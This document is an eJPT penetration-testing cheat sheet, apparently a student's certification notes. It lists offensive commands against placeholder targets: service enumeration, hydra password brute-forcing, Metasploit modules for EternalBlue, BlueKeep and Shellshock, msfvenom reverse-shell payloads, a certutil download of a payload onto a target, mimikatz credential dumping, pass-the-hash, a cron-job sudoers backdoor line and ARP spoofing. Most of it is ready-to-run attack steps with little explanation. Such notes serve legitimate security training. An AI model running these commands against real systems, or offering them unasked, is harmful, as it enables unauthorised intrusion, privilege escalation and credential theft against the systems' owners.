# 📜eJPT Cheat Sheet

## Networking

# Routing
  
  
# Linux
  
ip route
  
  
# Windows
  
route print
  
  
# Mac OS X / Linux
  
netstat -r

# IP  
  
# Linux  
ip a  
ip -br -c a  
  
# Windows  
ipconfig /all  
  
# Mac OS X / Linux  
ifconfig

# ARP  
  
# Linux  
ip neighbour  
  
# Windows  
arp -a  
  
# Mac OS X / Linux  
arp

# PORTS  
  
# Linux  
netstat -tunp  
netstat -tulpn  
ss -tnl  
  
# Windows  
netstat -ano  
  
# Mac OS X / Linux  
netstat -p tcp -p udp  
lsof -n -i4TCP -i4UDP

# Connect  
nc -v example.com 80  
  
openssl s\_client -connect <HOST>:<PORT>  
openssl s\_client -connect <HOST>:<PORT> -debug  
openssl s\_client -connect <HOST>:<PORT> -state  
openssl s\_client -connect <HOST>:<PORT> -quiet  
  
# Scan port  
nc -zv <HOST> <PORT>

## Information Gathering

# Passive  
host <HOST>  
whatweb <HOST>  
whois <HOST>  
whois <IP>  
  
dnsrecon -d <HOST>  
  
wafw00f -l  
wafw00f <HOST> -a  
  
sublist3r -d <HOST>  
theHarvester -d <HOST>  
theHarvester -d <HOST> -b all

# Google Dorks  
site:  
inurl:  
site:\*.sitename.com  
intitle:  
filetype:  
intitle:index of  
cache:  
inurl:auth\_user\_file.txt  
inurl:passwd.txt  
inurl:wp-config.bak

# DNS  
sudo nano /etc/hosts  
dnsenum <HOST>  
# e.g. dnsenum zonetransfer.me  
  
dig <HOST>  
dig axfr @DNS-server-name <HOST>  
  
fierce --domain <HOST>

# HOST DISCOVERY  
  
## Ping scan  
sudo nmap -sn <TARGET\_IP/NETWORK>  
## ARP scan  
netdiscover -i eth1 -r <TARGET\_IP/NETWORK>  
  
# NMAP PORT SCAN  
nmap <TARGET\_IP>  
## Skip ping  
nmap -Pn <TARGET\_IP>  
## Scan all ports  
nmap -p- <TARGET\_IP>  
## Port 80 only scan  
nmap -p 80 <TARGET\_IP>  
## Custom list of ports scan  
nmap -p 80,445,3389,8080 <TARGET\_IP>  
## Custom ports range scan  
nmap -p1-2000 <TARGET\_IP>  
## Fast mode & verbose scan  
nmap -F <TARGET\_IP> -v  
## UDP scan  
nmap -sU <TARGET\_IP>  
## Service scan  
nmap -sV <TARGET\_IP>  
## Service + O.S. detection scan  
sudo nmap -sV -O <TARGET\_IP>  
## Default Scripts scan  
nmap -sC <TARGET\_IP>  
nmap -Pn -F -sV -O -sC <TARGET\_IP>  
## Aggressive scan  
nmap -Pn -F -A <TARGET\_IP>  
## Timing (T0=slow ... T5=insanely fast) scan  
nmap -Pn -F -T5 -sV -O -sC <TARGET\_IP> -v  
## Output scan  
nmap -Pn -F -oN outputfile.txt <TARGET\_IP>   
nmap -Pn -F -oX outputfile.xml <TARGET\_IP>   
## Output to all formats  
nmap -Pn -sV -sC -O -oA outputfile <TARGET\_IP>  
nmap -Pn -sV -sC -O -oA outputfile <TARGET\_IP>  
nmap -A -oA outputfile <TARGET\_IP>

## Footprinting & Scanning

# NETWORK DISCOVERY  
sudo arp-scan -I eth1 <TARGET\_IP/NETWORK>  
ping <TARGET\_IP>  
sudo nmap -sn <TARGET\_IP/NETWORK>  
  
## fping  
fping -I eth1 -g <TARGET\_IP/NETWORK> -a  
## fping with no "Host Unreachable errors"  
fping -I eth1 -g <TARGET\_IP/NETWORK> -a fping -I eth1 -g <TARGET\_IP/NETWORK> -a 2>/dev/null

## Enumeration

### SMB

# NMAP  
sudo nmap -p 445 -sV -sC -O <TARGET\_IP>  
nmap -sU --top-ports 25 --open <TARGET\_IP>  
  
nmap -p 445 --script smb-protocols <TARGET\_IP>  
nmap -p 445 --script smb-security-mode <TARGET\_IP>  
  
nmap -p 445 --script smb-enum-sessions <TARGET\_IP>  
nmap -p 445 --script smb-enum-sessions --script-args smbusername=<USER>,smbpassword=<PW> <TARGET\_IP>  
  
nmap -p 445 --script smb-enum-shares <TARGET\_IP>  
nmap -p 445 --script smb-enum-shares --script-args smbusername=<USER>,smbpassword=<PW> <TARGET\_IP>  
  
nmap -p 445 --script smb-enum-users --script-args smbusername=<USER>,smbpassword=<PW> <TARGET\_IP>  
  
nmap -p 445 --script smb-server-stats --script-args smbusername=<USER>,smbpassword=<PW> <TARGET\_IP>  
  
nmap -p 445 --script smb-enum-domains--script-args smbusername=<USER>,smbpassword=<PW> <TARGET\_IP>  
  
nmap -p 445 --script smb-enum-groups--script-args smbusername=<USER>,smbpassword=<PW> <TARGET\_IP>  
  
nmap -p 445 --script smb-enum-services --script-args smbusername=<USER>,smbpassword=<PW> <TARGET\_IP>  
  
nmap -p 445 --script smb-enum-shares,smb-ls --script-args smbusername=<USER>,smbpassword=<PW> <TARGET\_IP>  
  
nmap -p 445 --script smb-os-discovery <TARGET\_IP>  
  
nmblookup -A <TARGET\_IP>

# SMBMAP  
smbmap -u guest -p "" -d . -H <TARGET\_IP>  
  
smbmap -u <USER> -p '<PW>' -d . -H <TARGET\_IP>  
  
## Run a command  
smbmap -u <USER> -p '<PW>' -H <TARGET\_IP> -x 'ipconfig'  
## List all drives  
smbmap -u <USER> -p '<PW>' -H <TARGET\_IP> -L  
## List dir content  
smbmap -u <USER> -p '<PW>' -H <TARGET\_IP> -r 'C$'  
## Upload a file  
smbmap -u <USER> -p '<PW>' -H <TARGET\_IP> --upload '/root/sample\_backdoor' 'C$\sample\_backdoor'  
## Download a file  
smbmap -u <USER> -p '<PW>' -H <TARGET\_IP> --download 'C$\flag.txt'

# SMB Connection  
smbclient -L <TARGET\_IP> -N  
smbclient -L <TARGET\_IP> -U <USER>  
smbclient //<TARGET\_IP>/<USER> -U <USER>  
smbclient //<TARGET\_IP>/admin -U admin  
smbclient //<TARGET\_IP>/public -N  
## SMBCLIENT  
help  
ls  
get <filename>  
  
rpcclient -U "" -N <TARGET\_IP>  
## RPCCLIENT  
enumdomusers  
enumdomgroups  
lookupnames admin

# ENUM4LINUX  
enum4linux -o <TARGET\_IP>  
enum4linux -U <TARGET\_IP>  
enum4linux -S <TARGET\_IP>  
enum4linux -G <TARGET\_IP>  
enum4linux -i <TARGET\_IP>  
enum4linux -r -u "<USER>" -p "<PW>" <TARGET\_IP>  
enum4linux -a -u "<USER>" -p "<PW>" <TARGET\_IP>

# HYDRA  
gzip -d /usr/share/wordlists/rockyou.txt.gz  
  
hydra -l admin -P /usr/share/wordlists/rockyou.txt <TARGET\_IP> smb

# METASPLOIT  
msfconsole  
msfconsole -q  
  
# METASPLOIT SMB  
use auxiliary/scanner/smb/smb\_version  
use auxiliary/scanner/smb/smb\_enumusers  
use auxiliary/scanner/smb/smb\_enumshares  
use auxiliary/scanner/smb/smb\_login  
use auxiliary/scanner/smb/pipe\_auditor  
  
## set options depends on the selected module  
set PASS\_FILE /usr/share/wordlists/metasploit/unix\_passwords.txt  
set SMBUser <USER>  
set RHOSTS <TARGET\_IP>  
exploit

### FTP

# NMAP  
sudo nmap -p 21 -sV -sC -O <TARGET\_IP>  
nmap -p 21 -sV -O <TARGET\_IP>  
  
nmap -p 21 --script ftp-anon <TARGET\_IP>  
nmap -p 21 --script ftp-brute --script-args userdb=<USERS\_LIST> <TARGET\_IP>

# FTP  
ftp <TARGET\_IP>  
## FTP client  
ls  
get <filename>

# HYDRA  
hydra -L /usr/share/metasploit-framework/data/wordlists/common\_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt <TARGET\_IP> -t 4 ftp

### SSH

# NMAP  
sudo nmap -p 22 -sV -sC -O <TARGET\_IP>  
  
nmap -p 22 --script ssh2-enum-algos <TARGET\_IP>  
nmap -p 22 --script ssh-hostkey --script-args ssh\_hostkey=full <TARGET\_IP>  
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=<USER>" <TARGET\_IP>  
  
nmap -p 22 --script=ssh-run --script-args="ssh-run.cmd=cat /home/student/FLAG, ssh-run.username=<USER>, ssh-run.password=<PW>" <TARGET\_IP>  
  
nmap -p 22 --script=ssh-brute --script-args userdb=<USERS\_LIST> <TARGET\_IP>

# NETCAT  
nc <TARGET\_IP> <TARGET\_PORT>  
nc <TARGET\_IP> 22

# SSH  
ssh <USER>@<TARGET\_IP> 22  
ssh root@<TARGET\_IP> 22

# HYDRA  
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt <TARGET\_IP> ssh

# METASPLOIT SSH  
use auxiliary/scanner/ssh/ssh\_login  
  
set RHOSTS <TARGET\_IP>  
set USERPASS\_FILE /usr/share/wordlists/metasploit/root\_userpass.txt  
set STOP\_ON\_SUCCESS true  
set VERBOSE true  
exploit

### HTTP

# NMAP  
sudo nmap -p 80 -sV -O <TARGET\_IP>  
  
nmap -p 80 --script=http-enum -sV <TARGET\_IP>  
nmap -p 80 --script=http-headers -sV <TARGET\_IP>  
nmap -p 80 --script=http-methods --script-args http-methods.url-path=/webdav/ <TARGET\_IP>  
nmap -p 80 --script=http-webdav-scan --script-args http-methods.url-path=/webdav/ <TARGET\_IP>

whatweb <TARGET\_IP>  
http <TARGET\_IP>  
browsh --startup-url http://<TARGET\_IP>  
  
dirb http://<TARGET\_IP>  
dirb http://<TARGET\_IP> /usr/share/metasploit-framework/data/wordlists/directory.txt  
  
wget <TARGET\_IP>  
curl <TARGET\_IP> | more  
curl -I http://<TARGET\_IP>/<DIR>  
curl --digest -u <USER>:<PW> http://<TARGET\_IP>/<DIR>  
  
lynx <TARGET\_IP>

# METASPLOIT HTTP  
use auxiliary/scanner/http/brute\_dirs  
use auxiliary/scanner/http/robots\_txt  
use auxiliary/scanner/http/http\_header  
use auxiliary/scanner/http/http\_login  
use auxiliary/scanner/http/http\_version  
  
# Global set  
setg RHOSTS <TARGET\_IP>  
setg RHOST <TARGET\_IP>  
  
## set options depends on the selected module  
set HTTP\_METHOD GET  
set TARGETURI /<DIR>/  
  
set USER\_FILE <USERS\_LIST>  
set PASS\_FILE /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt  
set VERBOSE false  
set AUTH\_URI /<DIR>/  
exploit

### SQL

# NMAP  
sudo nmap -p 3306 -sV -O <TARGET\_IP>  
  
nmap -p 3306 --script=mysql-empty-password <TARGET\_IP>  
nmap -p 3306 --script=mysql-info <TARGET\_IP>  
nmap -p 3306 --script=mysql-users --script-args="mysqluser='<USER>',mysqlpass='<PW>'" <TARGET\_IP>  
nmap -p 3306 --script=mysql-databases --script-args="mysqluser='<USER>',mysqlpass='<PW>'" <TARGET\_IP>  
nmap -p 3306 --script=mysql-variables --script-args="mysqluser='<USER>',mysqlpass='<PW>'" <TARGET\_IP>  
  
nmap -p 3306 --script=mysql-audit --script-args="mysql-audit.username='<USER>',mysql-audit.password='<PW>',mysql-audit.filename=''" <TARGET\_IP>  
  
nmap -p 3306 --script=mysql-dump-hashes --script-args="username='<USER>',password='<PW>'" <TARGET\_IP>  
  
nmap -p 3306 --script=mysql-query --script-args="query='select count(\*) from <DB\_NAME>.<TABLE\_NAME>;',username='<USER>',password='<PW>'" <TARGET\_IP>  
  
## Microsoft SQL  
nmap -sV -sC -p 1433 <TARGET\_IP>  
  
nmap -p 1433 --script ms-sql-info <TARGET\_IP>  
nmap -p 1433 --script ms-sql-ntlm-info --script-args mssql.instance-port=1433 <TARGET\_IP>  
nmap -p 1433 --script ms-sql-empty-password <TARGET\_IP>  
  
nmap -p 3306 --script ms-sql-brute --script-args userdb=/root/Desktop/wordlist/common\_users.txt,passdb=/root/Desktop/wordlist/100-common-passwords.txt <TARGET\_IP>  
  
nmap -p 3306 --script ms-sql-query --script-args mssql.username=<USER>,mssql.password=<PW>,ms-sql-query.query="SELECT \* FROM master..syslogins" <TARGET\_IP> -oN output.txt  
  
nmap -p 3306 --script ms-sql-dump-hashes --script-args mssql.username=<USER>,mssql.password=<PW> <TARGET\_IP>  
  
nmap -p 3306 --script ms-sql-xp-cmdshell --script-args mssql.username=<USER>,mssql.password=<PW>,ms-sql-xp-cmdshell.cmd="ipconfig" <TARGET\_IP>  
  
nmap -p 3306 --script ms-sql-xp-cmdshell --script-args mssql.username=<USER>,mssql.password=<PW>,ms-sql-xp-cmdshell.cmd="type c:\flag.txt" <TARGET\_IP>

# MYSQL  
mysql -h <TARGET\_IP> -u <USER>  
mysql -h <TARGET\_IP> -u root  
  
# Mysql client  
help  
show databases;  
use <DB\_NAME>;  
select count(\*) from <TABLE\_NAME>;  
select load\_file("/etc/shadow");

# HYDRA  
hydra -l <USER> -P /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt <TARGET\_IP> mysql

# METASPLOIT MYSQL  
use auxiliary/scanner/mysql/mysql\_schemadump  
use auxiliary/scanner/mysql/mysql\_writable\_dirs  
use auxiliary/scanner/mysql/mysql\_file\_enum  
use auxiliary/scanner/mysql/mysql\_hashdump  
use auxiliary/scanner/mysql/mysql\_login  
  
## MS Sql  
use auxiliary/scanner/mssql/mssql\_login  
use auxiliary/admin/mssql/mssql\_enum  
use auxiliary/admin/mssql/mssql\_enum\_sql\_logins  
use auxiliary/admin/mssql/mssql\_exec  
use auxiliary/admin/mssql/mssql\_enum\_domain\_accounts  
  
# Global set  
setg RHOSTS <TARGET\_IP>  
setg RHOST <TARGET\_IP>  
  
## set options depends on the selected module  
set USERNAME root  
set PASSWORD ""  
  
set DIR\_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt  
set VERBOSE false  
set PASSWORD ""  
  
set FILE\_LIST /usr/share/metasploit-framework/data/wordlists/sensitive\_files.txt  
set PASSWORD ""  
  
set USER\_FILE /root/Desktop/wordlist/common\_users.txt  
set PASS\_FILE /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt  
set VERBOSE false  
set STOP\_ON\_SUCCESS true  
  
set CMD whoami  
exploit

### SMTP

# NMAP  
sudo nmap -p 25 -sV -sC -O <TARGET\_IP>  
  
nmap -sV -script banner <TARGET\_IP>

nc <TARGET\_IP> 25  
telnet <TARGET\_IP> 25  
  
# TELNET client - check supported capabilities  
HELO attacker.xyz  
EHLO attacker.xyz

smtp-user-enum -U /usr/share/commix/src/txt/usernames.txt -t <TARGET\_IP>

# METASPLOIT  
service postgresql start && msfconsole -q  
  
# Global set  
setg RHOSTS <TARGET\_IP>  
setg RHOST <TARGET\_IP>  
  
use auxiliary/scanner/smtp/smtp\_enum

## Vulnerability Assessment

# HEARTBLEED  
nmap -sV --script ssl-enum-ciphers -p <SECURED\_PORT> <TARGET>  
nmap -sV --script ssl-heartbleed -p 443 <TARGET\_IP>  
  
# ETERNALBLUE  
nmap --script smb-vuln-ms17-010 -p 445 <TARGET\_IP>  
  
# BLUEKEEP  
msfconsole  
use exploit/windows/rdp/cve\_2019\_0708\_bluekeep\_rce  
  
# LOG4J  
nmap --script log4shell.nse --script-args log4shell.callback-server=<CALLBACK\_SERVER\_IP>:1389 -p 8080 <TARGET\_IP>

searchsploit badblue 2.7

## Host Based Attacks

### Windows Exploitation

#### IIS WEBDAV

# IIS WEBDAV  
davtest -url <URL>  
davtest -auth <USER>:<PW> -url http://<TARGET\_IP>/webdav  
  
cadaver [OPTIONS] <URL>  
  
nmap -p 80 --script http-enum -sV <TARGET\_IP>

msfvenom -p <PAYLOAD> LHOST=<LOCAL\_HOST\_IP> LPORT=<LOCAL\_PORT> -f <file\_type> > shell.asp  
  
msfvenom -p windows/meterpreter/reverse\_tcp LHOST=<LOCAL\_HOST\_IP> LPORT=<LOCAL\_PORT> -f asp > shell.asp

hydra -L /usr/share/wordlists/metasploit/common\_users.txt -P /usr/share/wordlists/metasploit/common\_passwords.txt <TARGET\_IP> http-get /webdav/

## METASPLOIT  
# Global set  
setg RHOSTS <TARGET\_IP>  
setg RHOST <TARGET\_IP>  
  
use exploit/multi/handler  
use exploit/windows/iis/iis\_webdav\_upload\_asp  
  
set payload windows/meterpreter/reverse\_tcp  
set LHOST <LOCAL\_HOST\_IP>  
set LPORT <LOCAL\_PORT>  
  
set HttpUsername <USER>  
set HttpPassword <PW>  
set PATH /webdav/metasploit.asp

#### SMB

# SMB  
nmap -p 445 -sV -sC <TARGET\_IP>  
  
nmap --script smb-vuln-ms17-010 -p 445 <TARGET\_IP>

## METASPLOIT  
# Global set  
setg RHOSTS <TARGET\_IP>  
setg RHOST <TARGET\_IP>  
  
use auxiliary/scanner/smb/smb\_login  
use exploit/windows/smb/psexec  
use exploit/windows/smb/ms17\_010\_eternalblue  
  
set USER\_FILE /usr/share/metasploit-framework/data/wordlists/common\_users.txt  
set PASS\_FILE /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt  
set VERBOSE false  
  
set SMBUser <USER>  
set SMBPass <PW>

psexec.py <USER>@<TARGET\_IP> cmd.exe

## Manual Exploit - AutoBlue
  
cd
  
mkdir tools
  
cd /home/kali/tools
  
sudo git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
  
cd AutoBlue-MS17-010
  
pip install -r requirements.txt
  
  
cd shellcode
  
chmod +x shell\_prep.sh
  
./shell\_prep.sh
  
# LHOST = Host Kali Linux IP
  
# LPORT = Port Kali will listen for the reverse shell
  
  
nc -nvlp 1234 # On attacker VM
  
  
cd ..
  
chmod +x eternalblue\_exploit7.py
  
python eternalblue\_exploit7.py <TARGET\_IP> shellcode/sc\_x64.bin

#### RDP

# RDP  
nmap -sV <TARGET\_IP>

## METASPLOIT  
# Global set  
setg RHOSTS <TARGET\_IP>  
setg RHOST <TARGET\_IP>  
  
use auxiliary/scanner/rdp/rdp\_scanner  
use auxiliary/scanner/rdp/cve\_2019\_0708\_bluekeep  
  
set RPORT <PORT>  
  
# ! Kernel crash may be caused !  
use exploit/windows/rdp/cve\_2019\_0708\_bluekeep\_rce  
  
show targets  
set target <NUMBER>  
set GROOMSIZE 50

hydra -L /usr/share/metasploit-framework/data/wordlists/common\_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt rdp://<TARGET\_IP> -s <PORT>

xfreerdp /u:<USER> /p:<PW> /v:<TARGET\_IP>:<PORT>  
  
xfreerdp /u:<USER> /p:<PW> /v:<TARGET\_IP>:<PORT> /w:1920 /h:1080 /fonts /smart-sizing

#### WINRM

# WINRM  
crackmapexec [OPTIONS]  
evil-winrm -i <IP> -u <USER> -p <PASSWORD>  
  
nmap --top-ports 7000 <TARGET\_IP>  
nmap -sV -p 5985 <TARGET\_IP>

crackmapexec winrm <TARGET\_IP> -u <USER> -p /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt  
  
crackmapexec winrm <TARGET\_IP> -u <USER> -p <PW> -x "whoami"  
crackmapexec winrm <TARGET\_IP> -u <USER> -p <PW> -x "systeminfo"

# Command Shell  
evil-winrm.rb -u <USER> -p '<PW>' -i <TARGET\_IP>

## METASPLOIT  
# Global set  
setg RHOSTS <TARGET\_IP>  
setg RHOST <TARGET\_IP>  
  
use exploit/windows/winrm/winrm\_script\_exec  
  
set USERNAME <USER>  
set PASSWORD <PW>  
set FORCE\_VBS true

### Windows Privilege Escalation

#### Kernel

# WIN KERNEL  
msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=<LOCAL\_HOST\_IP> LPORT=<LOCAL\_PORT> -f exe -o payload.exe  
  
python3 -m http.server  
# Download payload.exe on target

## Windows-Exploit-Suggester Install  
mkdir Windows-Exploit-Suggester  
cd Windows-Exploit-Suggester  
wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/f34dcc186697ac58c54ebe1d32c7695e040d0ecb/windows-exploit-suggester.py  
# ^^ This is a python3 version of the script  
  
cd Windows-Exploit-Suggester  
python ./windows-exploit-suggester.py --update  
pip install xlrd --upgrade  
  
./windows-exploit-suggester.py --database YYYY-MM-DD-mssb.xlsx --systeminfo win7sp1-systeminfo.txt  
  
./windows-exploit-suggester.py --database YYYY-MM-DD-mssb.xlsx --systeminfo win2008r2-systeminfo.txt

## METASPLOIT  
## Global set  
setg RHOSTS <TARGET\_IP>  
setg RHOST <TARGET\_IP>  
  
use exploit/multi/handler   
options  
set payload windows/x64/meterpreter/reverse\_tcp  
set LHOST <LOCAL\_HOST\_IP>  
set LPORT <LOCAL\_PORT>  
  
use post/multi/recon/local\_exploit\_suggester  
set SESSION <HANDLER\_SESSION\_NUMBER>  
  
## MsfConsole Meterpreter Privesc  
getprivs  
getsystem  
  
# Exploitable vulnerabilities modules  
exploit/windows/local/bypassuac\_dotnet\_profiler  
exploit/windows/local/bypassuac\_eventvwr  
exploit/windows/local/bypassuac\_sdclt  
exploit/windows/local/cve\_2019\_1458\_wizardopium  
exploit/windows/local/cve\_2020\_1054\_drawiconex\_lpe  
exploit/windows/local/ms10\_092\_schelevator  
exploit/windows/local/ms14\_058\_track\_popup\_menu  
exploit/windows/local/ms15\_051\_client\_copy\_image  
exploit/windows/local/ms16\_014\_wmi\_recv\_notif

#### UAC

# UAC - UACME  
  
msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=<LOCAL\_HOST\_IP> LPORT=<LOCAL\_PORT> -f exe > backdoor.exe  
  
## METASPLOIT - Listening  
setg RHOSTS <TARGET\_IP>  
setg RHOST <TARGET\_IP>  
  
use exploit/multi/handler   
set payload windows/x64/meterpreter/reverse\_tcp  
set LHOST <LOCAL\_HOST\_IP>  
set LPORT <LOCAL\_PORT>  
  
## Meterpreter (Unprivileged session)  
cd C:\\  
mkdir Temp  
cd Temp  
upload /root/backdoor.exe  
upload /root/Desktop/tools/UACME/Akagi64.exe  
shell  
Akagi64.exe 23 C:\Temp\backdoor.exe  
  
akagi32.exe [Key] [Param]  
akagi64.exe [Key] [Param]  
  
## Elevated Meterpreter Received on the listening session  
ps -S lsass.exe  
migrate <lsass\_PID>  
hashdump

#### Access Token

# ACCESS TOKEN IMPERSONATION  
  
## METASPLOIT - Meterpreter (Unprivileged session)  
pgrep explorer  
migrate <explorer\_PID>  
getuid  
getprivs  
  
load incognito  
list\_tokens -u  
impersonate\_token "ATTACKDEFENSE\Administrator"  
getuid  
getprivs # Access Denied  
pgrep explorer  
migrate <explorer\_PID>  
getprivs  
list\_tokens -u  
impersonate\_token "NT AUTHORITY\SYSTEM"

### Windows Credential Dumping

# Exploitation  
msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=<TARGET\_IP> LPORT=1234 -f exe > payload.exe  
  
python -m SimpleHTTPServer 80  
  
## METASPLOIT  
setg RHOSTS <TARGET\_IP>  
setg RHOST <TARGET\_IP>  
  
use exploit/multi/handler   
set payload windows/x64/meterpreter/reverse\_tcp  
set LHOST <LOCAL\_HOST\_IP>  
set LPORT <LOCAL\_PORT>  
run  
  
## On target system  
certutil -urlcache -f http://<TARGET\_IP>/payload.exe payload.exe  
# Run payload.exe  
  
# METASPLOIT - Meterpreter  
sysinfo  
getuid  
pgrep lsass  
migrate <explorer\_PID>  
getprivs  
  
# Creds dumping - Meterpreter  
load kiwi  
creds\_all  
lsa\_dump\_sam  
lsa\_dump\_secrets  
  
# MIMIKATZ  
cd C:\\  
mkdir Temp  
cd Temp  
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe  
shell  
  
mimikatz.exe  
privilege::debug  
lsadump::sam  
lsadump::secrets  
sekurlsa::logonPasswords  
  
# PASS THE HASH  
## sekurlsa::logonPasswords  
background  
search psexec  
use exploit/windows/smb/psexec  
set LPORT <LOCAL\_PORT2>  
set SMBUser Administrator  
set SMBPass <ADMINISTRATOR\_LM:NTLM\_HASH>  
exploit

crackmapexec smb <TARGET\_IP> -u Administrator -H "<NTLM\_HASH>" -x "whoami"

### Linux Exploitation

#### Shellshock

# BASH - APACHE  
nmap -sV --script=http-shellshock --script-args "http-shellshock.uri=/gettime.cgi" <TARGET\_IP>

## METASPLOIT  
# Global set  
setg RHOSTS <TARGET\_IP>  
setg RHOST <TARGET\_IP>  
  
use exploit/multi/http/apache\_mod\_cgi\_bash\_env\_exec  
set RHOSTS <TARGET\_IP>  
set TARGETURI /gettime.cgi  
exploit

#### FTP

# FTP  
ftp <TARGET\_IP>  
  
ls -lah /usr/share/nmap/scripts | grep ftp-\*  
searchsploit ProFTPD

hydra -L /usr/share/metasploit-framework/data/wordlists/common\_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt <TARGET\_IP> -t 4 ftp

#### SSH

# SSH  
ssh <USER>@<TARGET\_IP>  
  
groups sysadmin  
cat /etc/\*release  
uname -r  
cat /etc/passwd  
find / -name "flag"

hydra -L /usr/share/metasploit-framework/data/wordlists/common\_users.txt -P /usr/share/metasploit-framework/data/wordlists/common\_passwords.txt <TARGET\_IP> -t 4 ssh

#### SAMBA

# SAMBA  
smbmap -u <USER> -p '<PW>' -H <TARGET\_IP>  
  
smbclient -L <TARGET\_IP> -U <USER>  
  
enum4linux -a <TARGET\_IP>  
enum4linux -a -u "<USER>" -p "<PW>" <TARGET\_IP>

hydra -l admin -P /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt <TARGET\_IP> smb

### Linux Privilege Escalation

#### Kernel

# LINUX KERNEL  
## Linux-Exploit-Suggester Install  
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O linux-exploit-suggester.sh  
  
chmod +x linux-exploit-suggester.sh  
  
./linux-exploit-suggester.sh

#### Cron Jobs

# CRON  
crontab -l  
  
find / -name <CRONJOB\_SCRIPT>  
  
printf '#!/bin/bash\necho "<USER> ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/<CRONJOB\_SCRIPT>

#### SUID

# SUID  
file <FILE>  
strings <FILE>  
 # find called binary  
rm <BINARY>  
cp /bin/bash <BINARY>  
./<FILE>

### Linux Credential Dumping

cat /etc/passwd  
sudo cat /etc/shadow  
  
# METASPLOIT (once exploited)  
use post/linux/gather/hashdump  
set SESSION <NUMBER>  
  
use auxiliary/analyze/crack\_linux  
set SHA512 true

## Network Based Attacks

wireshark -i eth1  
  
# TSHARK  
tshark -D  
tshark -i eth1  
tshark -r <FILE>.pcap  
tshark -r <FILE>.pcap | wc -l  
  
# First 100 packets  
tshark -r <FILE>.pcap -c 100  
  
# Protocl hierarchy statistics  
tshark -r <FILE>.pcap -z io,phs -q  
  
# HTTP traffic  
tshark -r <FILE>.pcap -Y 'http' | more  
tshark -r <FILE>.pcap -Y "ip.src==<SOURCE\_IP> && ip.dst==<DEST\_IP>"  
  
# Only GET requests  
tshark -r <FILE>.pcap -Y "http.request.method==GET"  
  
# Packets with frame time, source IP and URL for all GET requests  
tshark -r <FILE>.pcap -Y "http.request.method==GET" -Tfields -e frame.time -e ip.src -e http.request.full\_uri  
  
# Packets with a string  
tshark -r <FILE>.pcap -Y "http contains password"  
  
# Check destination IP  
tshark -r <FILE>.pcap -Y "http.request.method==GET && http.host==<TARGET\_URL>" -Tfields -e ip.dst  
  
# Check session ID  
tshark -r <FILE>.pcap -Y "ip contains amazon.in && ip.src==<IP>" -Tfields -e ip.src -e http.cookie  
  
# Check OS/User Agent type  
tshark -r <FILE>.pcap -Y "ip.src==<IP> && http" -Tfields -e http.user\_agent  
  
# WiFi traffic filter  
tshark -r <FILE>.pcap -Y "wlan"  
  
# Only deauthentication packets   
tshark -r <FILE>.pcap -Y "wlan.fc.type\_subtype==0x000c"  
# and devices  
tshark -r <FILE>.pcap -Y "wlan.fc.type\_subtype==0x000c" -Tfields -e wlan.ra  
  
# Only WPA handshake packets  
tshark -r <FILE>.pcap -Y "eapol"  
  
# Onyl SSID/BSSID  
tshark -r <FILE>.pcap -Y "wlan.fc.type\_subtype==8" -Tfields -e wlan.ssid -e wlan.bssid  
  
tshark -r <FILE>.pcap -Y "wlan.ssid==<SSID>" -Tfields -e wlan.bssid  
  
# WiFi Channel  
tshark -r <FILE>.pcap -Y "wlan.ssid==<SSID>" -Tfields -e wlan\_radio.channel  
  
# Vendor & model  
tshark -r <FILE>.pcap -Y "wlan.ta==<DEVICE\_MAC> && http" -Tfields -e http.user\_agent

# ARP POISONING - arpspoof  
  
## Forward IP packets  
echo 1 > /proc/sys/net/ipv4/ip\_forward  
  
arpspoof -i eth1 -t <TARGET\_IP> -r <HOST\_IP>

## Metasploit

# MSF Install  
sudo apt update && sudo apt install metasploit-framework -y  
sudo systemctl enable postgresql  
sudo systemctl restart postgresql  
sudo msfdb init  
  
ls /usr/share/metasploit-framework  
ls ~/.msf4/modules

service postgresql start && msfconsole -q

# msfconsole  
db\_status  
help  
version  
  
show -h  
show all  
show exploits  
  
search <STRING>  
search cve:2017 type:exploit platform:windows  
use <MODULE\_NAME>  
set <OPTION>  
run  
execute # same as run  
  
sessions  
# Switch between sessions Ids with  
sessions 1  
# Rename sessions  
sessions -n xoda -i 1  
# Run a Meterpreter Command on the session given with `-i`  
sessions -C sysinfo -i 1  
# Terminate a specific session  
sessions -k 1  
# Terminate all sessions  
sessions -K  
# Upgrade a shell session to a Meterpreter session  
sessions -u 1  
  
connect  
  
## Workspaces - db\_status must be connected  
workspace  
workspace -a <NEW\_WORSKSPACE>  
workspace <WORKSPACE\_NAME>  
workspace -d <WORKSPACE\_NAME>

# Payload Options  
search eternalblue  
use 0  
# ^^ specify the identifier  
set payload <PAYLOAD\_NAME>  
set RHOSTS <TARGET\_IP>  
run  
# or  
exploit

### Meterpreter

# meterpreter > <command>  
  
background  
cat  
cd  
checksum md5 /bin/bash  
clearev  
download  
edit  
execute -f ifconfig  
getenv  
getenv PATH  
getuid  
hashdump  
idletime  
ifconfig  
lpwd  
ls  
migrate  
mkdir  
ps  
pwd  
resource <file.txt>  
rmdir  
search -f \*.txt  
shell  
sysinfo  
upload

### Info Gathering & Enumeration

workspace -a <hostname\_enum>  
# NMAP Export in .XML  
nmap -Pn -sV -O <TARGET\_IP> -oX <XML\_FILE\_NAME>  
  
# msfconsole  
db\_import <XML\_FILE\_NAME>  
  
hosts  
services  
vulns  
loot  
creds  
notes  
  
# Nmap inside MSF  
